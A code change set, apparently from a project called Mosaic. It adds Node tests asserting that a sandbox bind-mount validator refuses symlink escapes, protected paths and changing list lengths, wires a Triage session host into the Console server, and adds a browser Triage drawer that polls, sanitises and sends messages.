runDir: p.runDir, healthDir: p.healthDir, adapter: join(p.install, "adapter-link.sh"), relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths,
harnessMounts: [{ src: join(p.install, "named.mjs"), why: "w" }, { src: join(p.install, "real.mjs"), dest: "/opt/real.mjs", why: "w2" }],
});
assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter && b.dest === join(p.install, "adapter-link.sh")));
assert.ok(list.some((b) => b.kind === "ro" && b.src === join(p.install, "real.mjs") && b.dest === join(p.install, "named.mjs") && b.why === "w"));
assert.ok(list.some((b) => b.kind === "ro" && b.src === join(p.install, "real.mjs") && b.dest === "/opt/real.mjs" && b.why === "w2"));
assert.ok(!list.some((b) => b.src === join(p.install, "named.mjs")));
});
test("a protected path that holds the code root (HOME over a copy or a worktree) does not refuse a source inside the code root; everything else still holds", async (t) => {
const p = await layout(t);
// home/ holds the code root code/, which holds the install root.
const home = join(p.root, "home");
const code = join(home, "code");
const inst = join(code, "inst");
mkdirSync(join(inst, "secrets"), { recursive: true });
for (const f of ["adapter.sh", "m", join("secrets", "k")]) writeFileSync(join(inst, f), "x");
writeFileSync(join(home, "outside"), "x");
mkdirSync(join(code, "data"));
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: join(inst, "adapter.sh"), relaySocket: p.relaySocket, installRoots: [inst], protectedPaths: [p.dataRoot, home], codeRoot: code, codeHolder: home };
const refused = (opts, fence, label) => assert.throws(() => hostedBinds({ ...base, ...opts }), (e) => e.code === "hosted-binds-refused" && e.fence === fence, label);
const list = hostedBinds({ ...base, harnessMounts: [{ src: join(inst, "m"), dest: "/opt/m", why: "w" }] });
assert.ok(list.some((b) => b.src === join(inst, "adapter.sh")) && list.some((b) => b.src === join(inst, "m") && b.dest === "/opt/m"));
// Without the code root, HOME refuses the same adapter.
refused({ codeRoot: null }, "adapter", "no code root");
// A code root that is HOME itself sets nothing aside.
refused({ codeRoot: home }, "adapter", "code root is HOME");
// A source under HOME outside the code root, even inside an install root.
refused({ installRoots: [home], adapter: join(home, "outside") }, "adapter", "outside the code root");
// A link inside the code root to a file outside it.
symlinkSync(join(home, "outside"), join(inst, "out"));
refused({ installRoots: [inst, home], harnessMounts: [{ src: join(inst, "out"), why: "w" }] }, "mount-src", "link out of the code root");
// A protected path inside the code root still refuses.
writeFileSync(join(code, "data", "f"), "x");
refused({ installRoots: [code], protectedPaths: [p.dataRoot, home, join(code, "data")], harnessMounts: [{ src: join(code, "data", "f"), why: "w" }] }, "mount-src", "protected path in the code root");
// The secrets check still holds inside the code root.
refused({ harnessMounts: [{ src: join(inst, "secrets", "k"), why: "w" }] }, "mount-src", "secrets in the code root");
// The run directory and the fixed list are never set aside, and a code root around them is refused.
refused({ codeRoot: p.root, installRoots: [p.root], harnessMounts: [{ src: join(p.dataRoot, "orgs"), why: "w" }] }, "protected", "code root holds the run dir");
refused({ codeRoot: "/srv/mosaic/x" }, "protected", "code root in a fixed path");
refused({ codeRoot: "relative" }, "protected", "relative code root");
// Only the named holder sets the code aside: another protected path that holds the code still refuses.
refused({ protectedPaths: [p.dataRoot, home, p.root] }, "adapter", "a second protected path holds the code");
refused({ codeHolder: null }, "protected", "no holder");
refused({ codeHolder: join(p.root, "elsewhere") }, "protected", "a holder that is not a protected path");
// A run directory named through a link: a code root in its real path is refused before any check.
const realRun = join(home, "run");
mkdirSync(join(realRun, "code", "inst"), { recursive: true });
writeFileSync(join(realRun, "code", "inst", "a.sh"), "x");
symlinkSync(realRun, join(p.root, "runlink"));
assert.throws(() => checkHostedRoute({ adapter: join(realRun, "code", "inst", "a.sh"), harnessMounts: [], installRoots: [join(realRun, "code", "inst")], protectedPaths: [p.dataRoot, home], codeRoot: join(realRun, "code"), codeHolder: home, runDir: join(p.root, "runlink") }), (e) => e.fence === "protected", "code root in the run dir's real path");
});
test("a list that answers one length to the check and another later is read once", async (t) => {
const p = await layout(t);
const items = [];
for (let i = 0; i <= HOSTED_MOUNTS_MAX; i++) { writeFileSync(join(p.install, `m${i}`), "x"); items.push({ src: join(p.install, `m${i}`), dest: `/opt/m${i}`, why: "w" }); }
let reads = 0;
const mounts = new Proxy(items, { get: (o, k) => (k === "length" ? (reads++ === 0 ? 1 : o.length) : o[k]) });
assert.throws(() => checkHostedRoute({ adapter: p.adapter, harnessMounts: mounts, installRoots: p.installRoots, protectedPaths: p.protectedPaths, runDir: p.runDir }), (e) => e.fence === "mounts");
// Install roots: two short answers pass the count, then a long one would add roots the count never saw.
const roots = [];
for (let i = 0; i <= 16; i++) { roots.push(join(p.root, `r${i}`)); mkdirSync(roots[i]); }
writeFileSync(join(roots[16], "a.sh"), "x");
let rootReads = 0;
const rootList = new Proxy(roots, { get: (o, k) => (k === "length" ? (rootReads++ < 2 ? 1 : o.length) : o[k]) });
assert.throws(() => checkHostedRoute({ adapter: join(roots[16], "a.sh"), harnessMounts: [], installRoots: rootList, protectedPaths: p.protectedPaths, runDir: p.runDir }), (e) => e.fence === "adapter");
// Protected paths: the holder check sees HOME, then a shorter answer would leave HOME unguarded.
const home = join(p.root, "home");
mkdirSync(join(home, "code"), { recursive: true });
writeFileSync(join(home, "f"), "x");
let guardReads = 0;
const guards = new Proxy([p.dataRoot, home], { get: (o, k) => (k === "length" ? (guardReads++ === 0 ? 2 : 1) : o[k]) });
assert.throws(() => checkHostedRoute({ adapter: p.adapter, harnessMounts: [{ src: join(home, "f"), dest: "/opt/f", why: "w" }], installRoots: [p.install, home], protectedPaths: guards, codeRoot: join(home, "code"), codeHolder: home, runDir: p.runDir }), (e) => e.fence === "protected" || e.fence === "mount-src");
});
test("each mount field is read once, and no mount's dest lies in or around another's", async (t) => {
const p = await layout(t);
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
writeFileSync(join(p.install, "m"), "x");
writeFileSync(join(p.install, "n"), "x");
let reads = 0;
const list = hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), why: "w", get dest() { return reads++ === 0 ? undefined : "/opt/../tmp"; } }] });
assert.equal(reads, 1);
assert.ok(list.some((b) => b.src === join(p.install, "m") && b.dest === undefined));
assert.ok(!list.some((b) => b.dest === "/opt/../tmp"));
for (const [a, b] of [["/opt/x", "/opt/x/f"], ["/opt/x/f", "/opt/x"], ["/opt/x", "/opt/x"]]) {
assert.throws(() => hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), dest: a, why: "w" }, { src: join(p.install, "n"), dest: b, why: "w" }] }), (e) => e.fence === "mount-dest", `${a} then ${b}`);
}
assert.equal(hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), dest: "/opt/x", why: "w" }, { src: join(p.install, "n"), dest: "/opt/xy", why: "w" }] }).filter((b) => b.dest?.startsWith("/opt/")).length, 2);
});
+29 -6
View File
@@ -34,10 +34,12 @@ import { isAbsolute, join } from 'node:path';
import { actionTrail } from './action-trail.mjs';
import { reviveBuses } from './bus-revive.mjs';
import { createProxyAdmin, orgCatalogue } from './proxy-admin.mjs';
import { createTriageHost } from './triage-host.mjs';
import { composeSnapshot, readSystemConfig, readOrgConfig } from './triage-snapshot.mjs';
import { busesStopped } from '../../cli/src/proxy-admin-host.mjs';
import { agentLevelsWriteRoutes } from './agent-levels-write.mjs';
import { RESTART_EXIT } from '../../cli/src/org-console.mjs';
import { ID_PATTERN } from '../../organization/src/vocabulary.mjs';
import { ID_PATTERN, systemOnly } from '../../organization/src/vocabulary.mjs';
import { selectorScope } from '../../organization/src/selector.mjs';
// The bus verifies the Console's exact same-tree script in /proc, whose argv preserves a
// relative shell argument even though Node's process.argv resolves it. Re-exec the same
@@ -202,8 +204,9 @@ try {
// and the preview are reads over requestRead.
templatesWrite: session.user === undefined && sendOn ? templatesCaller(consoleCall({ dataRoot: root, socket: paths.socket, business: id })) : null,
// Starter packs SP6 (#1873): the owner's workflow read, the organization file and its revision as the
// writer reads them (the read `mosaic org workflow set` takes its revision from), and the V2 template names.
workflowsRead: session.user === undefined ? () => ({ ...organizationWriter({ dir: configDir(), rolesDir: rolesDir() }).read(id), templates: templateHashes(rolesDir()).map(t => t.template) }) : null,
// writer reads them (the read `mosaic org workflow set` takes its revision from), and the V2 template names
// less the system-only ones. packs-http's workflowsRead drops them again and is the tested gate.
workflowsRead: session.user === undefined ? () => ({ ...organizationWriter({ dir: configDir(), rolesDir: rolesDir() }).read(id), templates: templateHashes(rolesDir()).map(t => t.template).filter(t => !systemOnly(t)) }) : null,
reads: consoleReads({ root: REPO, queueRoot: options.checkout ?? REPO, system, configDir: configDir(), rolesDir: rolesDir(), business: id, orgRoot: root }),
};
},
@@ -227,20 +230,40 @@ try {
return out;
},
}) : null;
// #1873 triage-host: the instance owner's Triage session, hosted by the Console in no organization.
// Nothing starts here; the owner's first message starts it. No model route store exists without a
// schema change, so none is wired: the read says no route is set and nothing launches.
const triage = system && (devOwner || ssoOn) ? createTriageHost({
dataRoot: system.dataRoot, route: null, devOwner: Boolean(devOwner), log: line => console.log(line),
readSnapshot: () => composeSnapshot({
orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }),
busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id),
processing: async id => {
const org = (await listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance })).find(o => o.id === id);
if (!org) return null;
return busCaller({ dataRoot: org.root, socket: orgPaths(org.root).socket, business: id, timeoutMs: 5000 })('processing.status');
},
orgConfig: id => readOrgConfig(id),
proxy: () => proxyAdmin.status(),
systemConfig: () => readSystemConfig(),
}),
}) : null;
let server, testerServer = null;
// F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the
// supervisor to relaunch. Without --supervised the route answers not-supervised.
const restart = supervised ? () => {
sso?.close(); testerServer?.close();
// The Triage session gets SIGTERM now and SIGKILL before the 2 s exit below.
const triageStopped = triage ? triage.stop({ graceMs: 1500 }) : Promise.resolve();
setTimeout(() => process.exit(RESTART_EXIT), 2000).unref();
server.close(() => process.exit(RESTART_EXIT));
server.close(() => triageStopped.finally(() => process.exit(RESTART_EXIT)));
server.closeAllConnections();
} : null;
const trail = system ? actionTrail(join(system.dataRoot, 'console')) : null;
// #1873 A2: Settings > Agents writes for the root and project levels, beside the levels read.
const agentLevelRoutes = organizations ? [agentLevelsWriteRoutes({ configDir: configDir(), rolesDir: rolesDir(), trail })] : [];
try {
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, triage, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
} catch (err) { sso?.close(); throw err; }
if (testerSocket) {
const call = busCaller({ dataRoot: system.dataRoot, socket: socketPath(system.dataRoot), business: options.business ?? null, cli: TESTER_CLI });
@@ -277,7 +300,7 @@ try {
// D2 (P0-3): the dev Console reattaches to the buses that still run and brings back the ones its
// unit stop killed. It runs after the Console answers, so a slow bus never delays the page.
if (organizations && trail) reviveBuses({ ctx: { configDir: configDir(), dataRoot: system.dataRoot, instance }, listOrgs, busStatus: orgBusStatus, busRevive: orgBusRevive, trail, log: line => console.log(line) }).catch(() => console.log('bus revive: stopped on an unexpected error'));
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); });
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); triage?.stop(); });
} catch (err) {
console.error(`refused: ${err.message}`);
process.exitCode = 2;
+4 -1
View File
@@ -24,6 +24,8 @@
// console cap alone, and runs the merge, the digest and the held-credential check itself. `workflows`
// (SP6) is the owner's read of the organization file as the writer reads it ({document, revision,
// templates}), the same read `mosaic org workflow set` takes its revision from; no bus verb answers it.
import { systemOnly } from '../../organization/src/vocabulary.mjs';
export const PACKS_ROUTE = /^\/api\/(?:packs(?:\/(preview|apply|hire))?|board|workflows(?:\/([^/]+))?)$/;
// Which requests the pack route answers. GET and HEAD /api/board stay the Board read (the Console's own task
// board through its upstream); every other method on /api/board is this route's (POST writes, the rest 405).
@@ -171,7 +173,8 @@ async function workflowsRead(res, { workflows, live, session, writable }) {
}
const roles = {
definitions: Object.keys(plain(doc.definitions) ? doc.definitions : {}).sort(),
templates: current.templates.filter(n => typeof n === 'string').sort(),
// #1873 triage-followups: a system-only template (organization vocabulary SYSTEM_ONLY) is never offered.
templates: current.templates.filter(n => typeof n === 'string' && !systemOnly(n)).sort(),
};
return json(res, 200, { workflows: flowsOf(doc), projects, roles, revision: current.revision, writable });
}
+5 -1
View File
@@ -2246,5 +2246,9 @@
window.addEventListener('hashchange', e => render(!agentOnly(e.oldURL, e.newURL)));
$('refresh').addEventListener('click', () => render(false));
$('pause').addEventListener('click', () => setTimeout(schedule)); // after app.js flips aria-pressed
render(false).then(() => { if (!$('bus-view').hidden) { const h1 = $('bus-view').querySelector('h1'); if (h1 && location.hash.startsWith('#/')) h1.focus(); } });
// #1873 triage-followups: the first render ends by focusing the page's heading. A drawer or dialog the
// reader opened before then keeps its focus: the Triage drawer, an agent drawer, the narrow-screen
// menu or any open dialog.
const holdsFocus = () => { const a = document.activeElement; return !!a && (!!a.closest('.ws-drawer:not([hidden]), [data-ws-drawer], dialog[open], [role="dialog"], [role="alertdialog"]') || (drawerOpen && nav.contains(a))); };
render(false).then(() => { if (!$('bus-view').hidden && !holdsFocus()) { const h1 = $('bus-view').querySelector('h1'); if (h1 && location.hash.startsWith('#/')) h1.focus(); } });
})();
+293
View File
@@ -1,4 +1,297 @@
window.MosaicLocalTime = value => Number.isFinite(Date.parse(value)) ? new Date(value).toLocaleString() : 'unknown';
// #1873 triage-drawer: the instance owner's Triage drawer, one system-level entry in the top bar.
// It reads /api/config and /api/triage through the fetch this file starts with, before the
// organization wrapper below replaces it, so both reads stay unscoped: Triage is in no organization.
// The entry, the drawer and every Triage request exist only when that config says triage: true.
// Every value from the read goes in as text, never as markup. The drawer reads only while open.
(() => {
const systemFetch = window.fetch.bind(window);
const POLL_MS = 4000;
// Control, format (direction, zero-width, soft hyphen, word joiner, tag), separator and default-ignorable
// characters (fillers, variation selectors) never reach the page; newline and tab stay.
const HIDDEN = /(?![\n\t])[\p{Cc}\p{Cf}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/gu;
const clean = (value, max = 8000) => (typeof value === 'string' ? value : value === null || value === undefined ? '' : String(value)).replace(/\r\n?/g, '\n').replace(HIDDEN, '').slice(0, max);
const when = value => window.MosaicLocalTime(clean(value, 64));
const el = (tag, cls, text) => { const n = document.createElement(tag); if (cls) n.className = cls; if (text !== undefined) n.textContent = clean(text); return n; };
const NO_ROUTE = 'No model route is set for Triage, so Triage will not start. The instance owner sets the route first.';
let config = null, entry = null, drawer = null, parts = null, timer = null, gen = 0, sending = false, lastTranscript = '', lastHealth = '', shown = [];
const read = () => systemFetch('/api/config', { cache: 'no-store', redirect: 'manual' }).then(r => (r.ok ? r.json() : null)).catch(() => null);
read().then(c => { if (c && c.triage === true) { config = c; addEntry(); } });
function addEntry() {
const bar = document.querySelector('.cmd-right');
if (!bar || document.getElementById('triage-open')) return;
entry = el('button', 'header-action');
entry.id = 'triage-open'; entry.type = 'button'; entry.title = 'Triage';
entry.setAttribute('aria-label', 'Triage'); entry.setAttribute('aria-expanded', 'false'); entry.setAttribute('aria-controls', 'triage-drawer');
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'), path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
svg.setAttribute('class', 'i'); svg.setAttribute('viewBox', '0 0 24 24'); svg.setAttribute('aria-hidden', 'true');
path.setAttribute('d', 'M3 12h4l3-8 4 16 3-8h4');
svg.append(path); entry.append(svg, el('span', '', 'Triage'));
entry.addEventListener('click', () => (drawer && !drawer.hidden ? close() : open()));
bar.insertBefore(entry, document.getElementById('refresh') ?? bar.firstChild);
}
function build() {
drawer = el('aside', 'ws-drawer triage-drawer');
drawer.id = 'triage-drawer';
drawer.setAttribute('aria-labelledby', 'triage-title');
const hd = el('div', 'hd'), title = el('h2', '', 'Triage'), x = el('button', 'x', '×');
title.id = 'triage-title'; title.tabIndex = -1;
x.type = 'button'; x.setAttribute('aria-label', 'Close Triage');
x.addEventListener('click', close);
hd.append(title, x);
const state = el('p', 'triage-state'); state.id = 'triage-state'; state.setAttribute('role', 'status');
const healthSec = el('details', 'triage-health-sec'); healthSec.open = true;
const healthSum = el('summary', '', 'Health');
const health = el('ul', 'triage-health'); health.id = 'triage-health';
healthSec.append(healthSum, health);
const convo = el('h3', 'triage-convo-title', 'Conversation');
const transcript = el('ol', 'triage-transcript'); transcript.id = 'triage-transcript'; transcript.tabIndex = 0;
transcript.setAttribute('aria-label', 'Triage conversation');
const compose = el('div', 'triage-compose');
drawer.append(hd, state, healthSec, convo, transcript, compose);
drawer.addEventListener('keydown', e => { if (e.key === 'Escape') { e.preventDefault(); close(); } });
document.body.append(drawer);
parts = { title, state, health, transcript, compose, box: null, send: null, status: null, off: null };
}
// The message box is built once and never rewritten or removed by a read, so a draft survives every
// poll. A read that turns sending off hides the box; one that turns it on again shows it.
function composer(view) {
const c = parts.compose;
const canSend = config.triageSend === true && view.send === true;
const READ_ONLY = 'This Console is read-only, so messages cannot be sent from here.';
if (!canSend && !parts.box) {
if (!parts.off || !parts.off.isConnected) { parts.off = el('p', 'note triage-send-off'); parts.off.id = 'triage-send-off'; c.append(parts.off); }
parts.off.textContent = READ_ONLY;
return;
}
if (!parts.box) {
c.replaceChildren();
const label = el('label', 'triage-label', 'Message to Triage');
label.htmlFor = 'triage-text';
const box = el('textarea', 'triage-text'); box.id = 'triage-text'; box.rows = 3; box.maxLength = 8000;
box.setAttribute('aria-describedby', 'triage-send-off triage-send-status');
box.addEventListener('keydown', e => { if (e.key === 'Enter' && (e.ctrlKey || e.metaKey)) { e.preventDefault(); submit(); } });
const row = el('div', 'triage-send-row');
const send = el('button', 'ws-btn primary triage-send', 'Send'); send.id = 'triage-send'; send.type = 'button';
send.addEventListener('click', submit);
const hint = el('span', 'triage-hint', 'Ctrl+Enter sends');
row.append(send, hint);
const off = el('p', 'note triage-send-off'); off.id = 'triage-send-off';
const status = el('p', 'triage-send-status'); status.id = 'triage-send-status'; status.setAttribute('role', 'status');
c.append(label, box, off, row, status);
Object.assign(parts, { label, box, send, status, off, row });
}
for (const n of [parts.label, parts.box, parts.row]) n.hidden = !canSend;
if (!canSend) { parts.off.textContent = READ_ONLY; parts.box.disabled = parts.send.disabled = true; return; }
// A route that is not set, or a session over its cap, turns the box off and says why.
const until = typeof view.overCapUntil === 'string' && view.overCapUntil ? view.overCapUntil : null;
const reason = view.route !== 'set' ? 'Sending is off: no model route is set for Triage.'
: until ? `Sending is off: Triage is over its daily token cap until ${when(until)}.` : '';
parts.off.textContent = reason;
parts.box.disabled = !!reason;
parts.send.disabled = !!reason || sending;
}
const stateLine = view => {
if (view.route !== 'set') return clean(view.routeMessage) || NO_ROUTE;
if (view.overCapUntil) return clean(view.capMessage) ? `${clean(view.capMessage)} Local time: ${when(view.overCapUntil)}.` : `Triage is over its daily token cap. It takes messages again at ${when(view.overCapUntil)}.`;
if (view.running === true) return 'Running.';
const x = view.lastExit;
if (x && typeof x === 'object') {
const how = [x.code !== null && x.code !== undefined ? `code ${clean(x.code)}` : '', x.signal ? `signal ${clean(x.signal)}` : ''].filter(Boolean).join(', ') || 'no code';
return `Not running. Last exit: ${how} at ${when(x.at)}.`;
}
return 'Not running. No run has ended yet.';
};
const notRead = v => v === 'not read' || v === null || v === undefined || typeof v !== 'object';
const configWords = c => (notRead(c) ? 'not read' : c.valid === true ? 'valid' : `not valid${c.code ? ` (${clean(c.code)})` : ''}`);
function healthLines(s) {
if (notRead(s)) return ['Health: not read'];
const lines = [];
lines.push(notRead(s.console) ? 'Console: not read' : `Console: ${clean(s.console.state) || 'not read'}, ${when(s.console.at)}`);
if (notRead(s.proxy)) lines.push('Proxy: not read');
else {
const p = s.proxy;
const words = [p.healthy === true ? 'healthy' : p.healthy === false ? 'not healthy' : 'health not read'];
if (p.initialized === false) words.push('not set up');
if (p.installed === false) words.push('not installed');
if (typeof p.active === 'string' && p.active) words.push(`unit ${clean(p.active)}`);
if (p.fence === true) words.push('fence set');
lines.push(`Proxy: ${words.join(', ')}`);
}
lines.push(`System config: ${configWords(s.systemConfig)}`);
const orgs = s.organizations;
if (notRead(orgs) || !Array.isArray(orgs.list)) lines.push('Organizations: not read');
else if (!orgs.list.length) lines.push('Organizations: none');
else for (const o of orgs.list) {
if (!o || typeof o !== 'object') continue;
const bus = notRead(o.bus) ? 'bus not read' : `bus ${clean(o.bus.state) || 'not read'}${o.bus.lastStart && o.bus.lastStart.ok === false ? `, last start failed ${when(o.bus.lastStart.at)}` : ''}`;
const proc = notRead(o.processing) ? 'processing not read' : o.processing.invalid === true ? 'processing state not valid' : o.processing.halted === true ? 'processing stopped' : 'processing on';
lines.push(`${clean(o.id) || 'unnamed'}: ${bus}, ${proc}, config ${configWords(o.config)}`);
}
return lines;
}
const WHO = { owner: 'You', triage: 'Triage', host: 'Console' };
function entryNode(m, owners) {
const from = Object.hasOwn(WHO, m.from) ? m.from : 'other';
const li = el('li', `triage-msg from-${from}`);
li.dataset.from = from;
const head = el('div', 'triage-msg-head');
head.append(el('strong', '', WHO[from] ?? 'Unknown sender'), el('span', 'triage-when', when(m.at)));
li.append(head);
if (m.in_reply_to && (from === 'triage' || from === 'host')) {
const asked = owners.get(m.in_reply_to);
li.append(el('p', 'triage-reply', asked !== undefined ? `Reply to: ${asked.length > 120 ? `${asked.slice(0, 119)}…` : asked}` : 'Reply to an earlier message'));
}
li.append(el('p', 'triage-text-body', m.text));
if (from === 'triage') {
const cards = Array.isArray(m.cards) ? m.cards.filter(c => c && typeof c === 'object') : [];
if (cards.length) {
const list = el('ul', 'triage-cards');
list.setAttribute('aria-label', 'Suggested commands');
for (const c of cards) {
const card = el('li', 'triage-card');
card.append(el('span', 'triage-card-meta', `Step: ${clean(c.step)} · Organization: ${clean(c.org)}`), el('code', 'triage-card-cmd', c.command));
list.append(card);
}
li.append(list);
}
const dropped = Number.isSafeInteger(m.dropped) && m.dropped > 0 ? m.dropped : 0;
if (dropped) li.append(el('p', 'triage-dropped', `${dropped} ${dropped === 1 ? 'card' : 'cards'} dropped: not a known step or organization.`));
}
return li;
}
function render(view) {
// Where the reader is, measured before anything above the conversation changes its height.
const t = parts.transcript, atBottom = t.scrollHeight - t.scrollTop - t.clientHeight < 24, top = t.scrollTop;
parts.state.textContent = stateLine(view);
parts.state.dataset.kind = view.route !== 'set' ? 'off' : view.overCapUntil ? 'cap' : view.running === true ? 'running' : 'stopped';
const lines = healthLines(view.snapshot);
const healthKey = JSON.stringify(lines);
if (healthKey !== lastHealth) { lastHealth = healthKey; parts.health.replaceChildren(...lines.map(l => el('li', l.endsWith('not read') ? 'not-read' : '', l))); }
// The box first: it sets the conversation's height, which the scroll position below depends on.
composer(view);
const list = Array.isArray(view.transcript) ? view.transcript.filter(m => m && typeof m === 'object') : [];
const key = JSON.stringify(list);
if (key !== lastTranscript) {
const first = lastTranscript === '';
// The host keeps the newest 200 lines, so a new line can drop old ones from the top. A reader who
// has scrolled up keeps the line they are reading at the same place, not the same scroll number.
const edge = () => t.getBoundingClientRect().top;
let anchor = null;
if (!first && !atBottom) {
const i = [...t.children].findIndex(n => n.getBoundingClientRect().bottom > edge() + 1);
if (i >= 0 && shown[i] !== undefined) anchor = { i, key: shown[i], off: t.children[i].getBoundingClientRect().top - edge() };
}
lastTranscript = key;
const owners = new Map(list.filter(m => m.from === 'owner' && typeof m.id === 'string').map(m => [m.id, clean(m.text)]));
if (list.length) t.replaceChildren(...list.map(m => entryNode(m, owners)));
else t.replaceChildren(el('li', 'triage-empty', 'No messages yet.'));
const next = list.map(m => JSON.stringify(m));
// Lines only drop from the top and add at the bottom, so the anchor moves up by the number dropped.
// That finds the right one of two identical lines; anything else falls back to the first match.
const fits = d => shown.length - d <= next.length && shown.slice(d).every((k, n) => next[n] === k);
let j = -1;
if (anchor) { let d = 0; while (d <= anchor.i && !fits(d)) d += 1; j = d <= anchor.i ? anchor.i - d : next.indexOf(anchor.key); }
shown = next;
if (first || atBottom) t.scrollTop = t.scrollHeight;
else {
t.scrollTop = top;
if (j >= 0) t.scrollTop += t.children[j].getBoundingClientRect().top - edge() - anchor.off;
else if (anchor) t.scrollTop = 0;
}
}
}
// Only the newest read renders and schedules the next one, so a send's read and the timer's never
// run two chains at once, and an answer that lands after close is dropped.
async function poll() {
const mine = ++gen;
clearTimeout(timer);
let view = null, failed = null;
try {
const r = await systemFetch('/api/triage', { cache: 'no-store', redirect: 'manual' });
if (r.ok) view = await r.json(); else failed = r.status;
} catch { failed = 'no answer'; }
if (mine !== gen || !drawer || drawer.hidden) return;
if (view && typeof view === 'object') render(view);
else { parts.state.textContent = `Triage could not be read (${failed}). The drawer tries again shortly.`; parts.state.dataset.kind = 'error'; }
timer = setTimeout(poll, POLL_MS);
}
function open() {
if (!drawer) build();
drawer.hidden = false;
entry.setAttribute('aria-expanded', 'true');
if (!parts.state.dataset.kind) { parts.state.textContent = 'Reading Triage.'; parts.state.dataset.kind = 'reading'; }
poll().then(() => { if (!drawer.hidden && !drawer.contains(document.activeElement)) (parts.box && !parts.box.disabled ? parts.box : parts.title).focus(); });
}
function close() {
if (!drawer || drawer.hidden) return;
gen += 1;
clearTimeout(timer); timer = null;
drawer.hidden = true;
entry.setAttribute('aria-expanded', 'false');
entry.focus();
}
// Plain words for each answer. A refused send keeps the draft; an unknown outcome is never resent.
function answer(status, body) {
const code = body && typeof body.error === 'string' ? body.error : '';
if (status === 202) return { sent: true, text: 'Sent. Triage answers in the conversation above.' };
// These come after the host wrote the message, with its "did not start" line under it.
if (code === 'triage-route-invalid' || code === 'triage-start-failed') return { text: `Not delivered: ${code === 'triage-start-failed' ? 'the Triage session did not start' : 'Triage did not start because the model route\'s answer is not usable'}. The message is in the conversation with the Console's note; it was not sent again.` };
// This one can come before or after the message is written.
if (code === 'triage-dir-unsafe') return { text: 'Not delivered: a Triage directory is not safe to use. It was not sent again: check the conversation before you send it again.' };
if (status === 409) return { text: code === 'triage-no-route' ? 'Not sent: no model route is set for Triage. The instance owner sets the route first.' : code === 'triage-route-refused' ? 'Not sent: the model route refused to start Triage.' : 'Not sent: the model route\'s answer is not usable.' };
if (status === 429) {
if (code === 'triage-over-cap') {
const until = typeof body.until === 'string' ? clean(body.until) : '';
return { text: until ? `Not sent: Triage is over its daily token cap. It takes messages again at ${when(until)} (${until}).` : 'Not sent: Triage is over its daily token cap.' };
}
return { text: 'Not sent: Triage has too many messages waiting. Try again in a moment.' };
}
if (status === 400) return { text: code === 'triage-message-empty' ? 'Not sent: the message is empty.' : code === 'triage-message-too-long' ? 'Not sent: the message is too long.' : 'Not sent: the Console did not accept this as a Triage message.' };
if (status === 403) return { text: code === 'read-only' ? 'Not sent: this Console is read-only.' : 'Not sent: the Console refused a request that did not come from this page.' };
if (status === 503 && code === 'outcome-unknown') return { unknown: true, text: 'Triage did not answer. The message may or may not have arrived. It was not sent again: check the conversation before you send it again.' };
if (status === 503) return { text: `Not sent: ${clean(body && body.message) || 'Triage could not take the message'}.` };
if (status === 401 || status === 404) return { text: 'Not sent: this page can no longer reach Triage. Reload the page.' };
return { text: `Not sent: the Console answered ${status}.` };
}
async function submit() {
if (sending || !parts.box || parts.box.disabled) return;
const text = parts.box.value;
if (!text.trim()) { parts.status.textContent = 'Not sent: the message is empty.'; return; }
sending = true; parts.send.disabled = true; parts.status.textContent = 'Sending…';
let result;
try {
const r = await systemFetch('/api/triage/message', { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ text }), cache: 'no-store', redirect: 'manual' });
result = answer(r.status, await r.json().catch(() => null));
} catch {
result = { unknown: true, text: 'The Console did not answer. The message may or may not have arrived. It was not sent again: check the conversation before you send it again.' };
}
sending = false;
if (!parts.box) return;
// The status line can grow the composer; a reader at the bottom of the transcript stays there.
const t = parts.transcript, atBottom = t.scrollHeight - t.scrollTop - t.clientHeight < 24;
parts.status.textContent = result.text;
parts.status.dataset.kind = result.sent ? 'ok' : result.unknown ? 'unknown' : 'refused';
// Only a 202 clears the box, and only when the reader has not typed more since.
if (result.sent && parts.box.value === text) parts.box.value = '';
parts.send.disabled = parts.box.disabled;
if (atBottom) t.scrollTop = t.scrollHeight;
if (drawer && !drawer.hidden) poll();
}
})();
// #1873 SP1: one shell for the whole system. `#/dashboard` is the system landing route and
// `#/orgs/<id>/...` is a route inside the same page, not a mode: opening another organization
// changes the scope of later /api reads and fires `mosaic-org-switch`. Nothing reloads.
+51
View File
@@ -810,3 +810,54 @@ html[data-organizations] .ws-drawer-acts .note{flex-basis:100%}
